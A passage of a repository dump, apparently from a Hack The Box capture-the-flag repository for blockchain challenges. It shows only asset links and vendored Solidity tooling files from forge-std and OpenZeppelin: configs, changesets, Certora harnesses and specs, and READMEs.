https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/assets/banner.png -------------------------------------------------------------------------------- /assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/assets/htb.png -------------------------------------------------------------------------------- /assets/logo_htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/assets/logo_htb.png -------------------------------------------------------------------------------- /blockchain/EldoriaGate [Medium]/assets/ChallengeBanner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/EldoriaGate [Medium]/assets/ChallengeBanner.png -------------------------------------------------------------------------------- /blockchain/EldoriaGate [Medium]/assets/EventBanner.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/EldoriaGate [Medium]/assets/EventBanner.jpg -------------------------------------------------------------------------------- /blockchain/EldoriaGate [Medium]/htb/.gitignore: -------------------------------------------------------------------------------- 1 | venv/ 2 | -------------------------------------------------------------------------------- /blockchain/EldoriaGate [Medium]/htb/requirements.txt: -------------------------------------------------------------------------------- 1 | pwntools 2 | web3 3 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/assets/ChallengeBanner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/assets/ChallengeBanner.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/assets/EventBanner.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/assets/EventBanner.jpg -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/.gitignore: -------------------------------------------------------------------------------- 1 | venv/ 2 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = "src" 3 | out = "out" 4 | libs = ["lib"] 5 | 6 | # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/.gitattributes: -------------------------------------------------------------------------------- 1 | src/Vm.sol linguist-generated 2 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/.gitignore: -------------------------------------------------------------------------------- 1 | cache/ 2 | out/ 3 | .vscode 4 | .idea 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "forge-std", 3 | "version": "1.9.4", 4 | "description": "Forge Standard Library is a collection of helpful contracts and libraries for use with Forge and Foundry.", 5 | "homepage": "https://book.getfoundry.sh/forge/forge-std", 6 | "bugs": "https://github.com/foundry-rs/forge-std/issues", 7 | "license": "(Apache-2.0 OR MIT)", 8 | "author": "Contributors to Forge Standard Library", 9 | "files": [ 10 | "src/**/*" 11 | ], 12 | "repository": { 13 | "type": "git", 14 | "url": "https://github.com/foundry-rs/forge-std.git" 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/compilation/CompilationScript.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Script.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationScript is Script {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/compilation/CompilationScriptBase.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Script.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationScriptBase is ScriptBase {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/compilation/CompilationTest.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Test.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationTest is Test {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/compilation/CompilationTestBase.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Test.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationTestBase is TestBase {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/fixtures/test.json: -------------------------------------------------------------------------------- 1 | { 2 | "a": 123, 3 | "b": "test", 4 | "c": { 5 | "a": 123, 6 | "b": "test" 7 | } 8 | } -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/fixtures/test.toml: -------------------------------------------------------------------------------- 1 | a = 123 2 | b = "test" 3 | 4 | [c] 5 | a = 123 6 | b = "test" 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://unpkg.com/@changesets/config@2.3.0/schema.json", 3 | "changelog": [ 4 | "@changesets/changelog-github", 5 | { 6 | "repo": "OpenZeppelin/openzeppelin-contracts" 7 | } 8 | ], 9 | "commit": false, 10 | "access": "public", 11 | "baseBranch": "master" 12 | } 13 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/eighty-hounds-promise.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `Strings`: Add `parseUint`, `parseInt`, `parseHexUint` and `parseAddress` to parse strings into numbers and addresses. Also provide variants of these functions that parse substrings, and `tryXxx` variants that do not revert on invalid input. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/four-chairs-help.md: -------------------------------------------------------------------------------- 1 | --- 2 | "openzeppelin-solidity": minor 3 | --- 4 | 5 | `Clones`: Add `cloneWithImmutableArgs` and `cloneDeterministicWithImmutableArgs` variants that create clones with per-instance immutable arguments. The immutable arguments can be retrieved using `fetchCloneArgs`. The corresponding `predictDeterministicWithImmutableArgs` function is also included. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/great-lions-hear.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': patch 3 | --- 4 | 5 | `VotesExtended`: Create an extension of `Votes` which checkpoints balances and delegates. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/healthy-books-shout.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `CAIP2` and `CAIP10`: Add libraries for formatting and parsing CAIP-2 and CAIP-10 identifiers. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/hot-shrimps-wait.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `Packing`: Add variants for packing `bytes10` and `bytes22` 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/lovely-dodos-lay.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `NoncesKeyed`: Add a variant of `Nonces` that implements the ERC-4337 entrypoint nonce system. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/pink-wasps-hammer.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': patch 3 | --- 4 | 5 | `GovernorCountingOverridable`: Add a governor counting module that enables token holders to override the vote of their delegate. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/proud-planes-arrive.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `Bytes`: Add a library of common operations that operate on `bytes` objects. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/seven-donkeys-tap.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': patch 3 | --- 4 | 5 | Update some pragma directives to ensure that all file requirements match that of the files they import. 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/small-seahorses-bathe.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `ERC7579Utils`: Add a reusable library to interact with ERC-7579 modular accounts 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/tricky-bats-pretend.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `ERC1363Utils`: Add helper similar to the existing `ERC721Utils` and `ERC1155Utils` 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/weak-roses-bathe.md: -------------------------------------------------------------------------------- 1 | --- 2 | 'openzeppelin-solidity': minor 3 | --- 4 | 5 | `ERC4337Utils`: Add a reusable library to manipulate user operations and interact with ERC-4337 contracts 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.codecov.yml: -------------------------------------------------------------------------------- 1 | comment: off 2 | github_checks: 3 | annotations: false 4 | coverage: 5 | status: 6 | patch: 7 | default: 8 | target: 95% 9 | only_pulls: true 10 | project: 11 | default: 12 | threshold: 1% 13 | ignore: 14 | - "test" 15 | - "contracts/mocks" 16 | - "contracts/vendor" 17 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.editorconfig: -------------------------------------------------------------------------------- 1 | # EditorConfig is awesome: https://EditorConfig.org 2 | 3 | # top-most EditorConfig file 4 | root = true 5 | 6 | [*] 7 | charset = utf-8 8 | end_of_line = lf 9 | indent_style = space 10 | insert_final_newline = true 11 | trim_trailing_whitespace = false 12 | max_line_length = 120 13 | 14 | [*.sol] 15 | indent_size = 4 16 | 17 | [*.js] 18 | indent_size = 2 19 | 20 | [*.{adoc,md}] 21 | max_line_length = 0 22 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.githooks/pre-push: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | if [ "${CI:-"false"}" != "true" ]; then 6 | npm run test:generation 7 | npm run lint 8 | fi 9 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.github/ISSUE_TEMPLATE/config.yml: -------------------------------------------------------------------------------- 1 | blank_issues_enabled: false 2 | contact_links: 3 | - name: Bug Reports & Feature Requests 4 | url: https://github.com/OpenZeppelin/openzeppelin-contracts/issues/new/choose 5 | about: Visit the OpenZeppelin Contracts repository 6 | - name: Questions & Support Requests 7 | url: https://forum.openzeppelin.com/c/support/contracts/18 8 | about: Ask in the OpenZeppelin Forum 9 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.github/workflows/docs.yml: -------------------------------------------------------------------------------- 1 | name: Build Docs 2 | 3 | on: 4 | push: 5 | branches: [release-v*] 6 | 7 | permissions: 8 | contents: write 9 | 10 | jobs: 11 | build: 12 | runs-on: ubuntu-latest 13 | steps: 14 | - uses: actions/checkout@v4 15 | - name: Set up environment 16 | uses: ./.github/actions/setup 17 | - run: bash scripts/git-user-config.sh 18 | - run: node scripts/update-docs-branch.js 19 | - run: git push --all origin 20 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | branch = v1 3 | path = lib/forge-std 4 | url = https://github.com/foundry-rs/forge-std 5 | [submodule "lib/erc4626-tests"] 6 | path = lib/erc4626-tests 7 | url = https://github.com/a16z/erc4626-tests.git 8 | [submodule "lib/halmos-cheatcodes"] 9 | path = lib/halmos-cheatcodes 10 | url = https://github.com/a16z/halmos-cheatcodes 11 | [submodule "lib/openzeppelin-contracts"] 12 | path = lib/openzeppelin-contracts 13 | url = https://github.com/OpenZeppelin/openzeppelin-contracts.git 14 | branch = master 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.mocharc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | require: 'hardhat/register', 3 | timeout: 4000, 4 | }; 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "printWidth": 120, 3 | "singleQuote": true, 4 | "trailingComma": "all", 5 | "arrowParens": "avoid", 6 | "overrides": [ 7 | { 8 | "files": "*.sol", 9 | "options": { 10 | "singleQuote": false 11 | } 12 | } 13 | ], 14 | "plugins": ["prettier-plugin-solidity"] 15 | } 16 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.solcover.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | norpc: true, 3 | testCommand: 'npm test', 4 | compileCommand: 'npm run compile', 5 | skipFiles: ['mocks'], 6 | providerOptions: { 7 | default_balance_ether: '10000000000000000000000000', 8 | }, 9 | mocha: { 10 | fgrep: '[skip-on-coverage]', 11 | invert: true, 12 | }, 13 | // Work around stack too deep for coverage 14 | configureYulOptimizer: true, 15 | solcOptimizerDetails: { 16 | yul: true, 17 | yulDetails: { 18 | optimizerSteps: '', 19 | }, 20 | }, 21 | }; 22 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/FUNDING.json: -------------------------------------------------------------------------------- 1 | { 2 | "drips": { 3 | "ethereum": { 4 | "ownedBy": "0xAeb37910f93486C85A1F8F994b67E8187554d664" 5 | } 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2018-10.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2018-10.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2022-10-Checkpoints.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2022-10-Checkpoints.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2022-10-ERC4626.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2022-10-ERC4626.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2023-05-v4.9.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2023-05-v4.9.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2023-10-v5.0.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2023-10-v5.0.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2024-10-v5.1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2024-10-v5.1.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/.gitignore: -------------------------------------------------------------------------------- 1 | patched 2 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/AccessControlHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {AccessControl} from "../patched/access/AccessControl.sol"; 5 | 6 | contract AccessControlHarness is AccessControl {} 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/ERC20PermitHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {ERC20Permit, ERC20} from "../patched/token/ERC20/extensions/ERC20Permit.sol"; 5 | 6 | contract ERC20PermitHarness is ERC20Permit { 7 | constructor(string memory name, string memory symbol) ERC20(name, symbol) ERC20Permit(name) {} 8 | 9 | function mint(address account, uint256 amount) external { 10 | _mint(account, amount); 11 | } 12 | 13 | function burn(address account, uint256 amount) external { 14 | _burn(account, amount); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/ERC3156FlashBorrowerHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | import {IERC3156FlashBorrower} from "../patched/interfaces/IERC3156FlashBorrower.sol"; 4 | 5 | pragma solidity ^0.8.20; 6 | 7 | contract ERC3156FlashBorrowerHarness is IERC3156FlashBorrower { 8 | bytes32 somethingToReturn; 9 | 10 | function onFlashLoan(address, address, uint256, uint256, bytes calldata) external view override returns (bytes32) { 11 | return somethingToReturn; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/ERC721ReceiverHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | import "../patched/interfaces/IERC721Receiver.sol"; 6 | 7 | contract ERC721ReceiverHarness is IERC721Receiver { 8 | function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) { 9 | return this.onERC721Received.selector; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/NoncesHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {Nonces} from "../patched/utils/Nonces.sol"; 5 | 6 | contract NoncesHarness is Nonces { 7 | function useNonce(address account) external returns (uint256) { 8 | return _useNonce(account); 9 | } 10 | 11 | function useCheckedNonce(address account, uint256 nonce) external { 12 | _useCheckedNonce(account, nonce); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/Ownable2StepHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {Ownable2Step, Ownable} from "../patched/access/Ownable2Step.sol"; 5 | 6 | contract Ownable2StepHarness is Ownable2Step { 7 | constructor(address initialOwner) Ownable(initialOwner) {} 8 | 9 | function restricted() external onlyOwner {} 10 | } 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/OwnableHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {Ownable} from "../patched/access/Ownable.sol"; 5 | 6 | contract OwnableHarness is Ownable { 7 | constructor(address initialOwner) Ownable(initialOwner) {} 8 | 9 | function restricted() external onlyOwner {} 10 | } 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/PausableHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {Pausable} from "../patched/utils/Pausable.sol"; 5 | 6 | contract PausableHarness is Pausable { 7 | function pause() external { 8 | _pause(); 9 | } 10 | 11 | function unpause() external { 12 | _unpause(); 13 | } 14 | 15 | function onlyWhenPaused() external whenPaused {} 16 | 17 | function onlyWhenNotPaused() external whenNotPaused {} 18 | } 19 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/TimelockControllerHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {TimelockController} from "../patched/governance/TimelockController.sol"; 5 | 6 | contract TimelockControllerHarness is TimelockController { 7 | constructor( 8 | uint256 minDelay, 9 | address[] memory proposers, 10 | address[] memory executors, 11 | address admin 12 | ) TimelockController(minDelay, proposers, executors, admin) {} 13 | } 14 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2021-10.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2021-10.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2022-03.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2022-03.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2022-05.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2022-05.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IAccessControl.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function DEFAULT_ADMIN_ROLE() external returns (bytes32) envfree; 3 | function hasRole(bytes32, address) external returns(bool) envfree; 4 | function getRoleAdmin(bytes32) external returns(bytes32) envfree; 5 | function grantRole(bytes32, address) external; 6 | function revokeRole(bytes32, address) external; 7 | function renounceRole(bytes32, address) external; 8 | } 9 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IAccessManaged.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function authority() external returns (address) envfree; 3 | function isConsumingScheduledOp() external returns (bytes4) envfree; 4 | function setAuthority(address) external; 5 | } 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IERC2612.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function permit(address,address,uint256,uint256,uint8,bytes32,bytes32) external; 3 | function nonces(address) external returns (uint256) envfree; 4 | function DOMAIN_SEPARATOR() external returns (bytes32) envfree; 5 | } 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IERC3156FlashBorrower.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function _.onFlashLoan(address,address,uint256,uint256,bytes) external => DISPATCHER(true); 3 | } 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IERC3156FlashLender.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function maxFlashLoan(address) external returns (uint256) envfree; 3 | function flashFee(address,uint256) external returns (uint256) envfree; 4 | function flashLoan(address,address,uint256,bytes) external returns (bool); 5 | } 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IERC5313.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function owner() external returns (address) envfree; 3 | } 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IERC721Receiver.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function _.onERC721Received(address,address,uint256,bytes) external => DISPATCHER(true); 3 | } 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IOwnable.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function owner() external returns (address) envfree; 3 | function transferOwnership(address) external; 4 | function renounceOwnership() external; 5 | } 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IOwnable2Step.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function owner() external returns (address) envfree; 3 | function pendingOwner() external returns (address) envfree; 4 | function transferOwnership(address) external; 5 | function acceptOwnership() external; 6 | function renounceOwnership() external; 7 | } 8 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/account/README.adoc: -------------------------------------------------------------------------------- 1 | = Account 2 | 3 | [.readme-notice] 4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/account 5 | 6 | This directory includes contracts to build accounts for ERC-4337. 7 | 8 | == Utilities 9 | 10 | {{ERC4337Utils}} 11 | 12 | {{ERC7579Utils}} 13 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/contracts/finance/README.adoc: -------------------------------------------------------------------------------- 1 | = Finance 2 | 3 | [.readme-notice] 4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/finance 5 | 6 | This directory includes primitives for financial systems: 7 | 8 | - {VestingWallet} handles the vesting of Ether and ERC-20 tokens for a given beneficiary. Custody of multiple tokens can 9 | be given to this contract, which will release the token to the beneficiary following a given, customizable, vesting 10 | schedule. 11 | 12 | == Contracts 13 | 14 | {{VestingWallet}} 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very 